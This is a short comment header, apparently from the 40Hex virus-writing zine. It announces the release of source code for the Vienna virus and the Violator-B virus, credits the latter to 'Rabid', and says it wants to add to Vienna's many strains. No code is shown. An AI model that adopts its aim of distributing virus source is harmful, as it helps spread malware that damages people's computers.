;                      Vienna and Violator Viruses

;    The Vienna virus, since it's source code was released, has become
;    one of the most common viruses ever.  Not only that but there are
;    over 20 known strains of this virus.  We at 40Hex want to add on to
;    the list by giving out the source for the orginal Vienna virus as
;    well as the Violator-B source by Rabid.
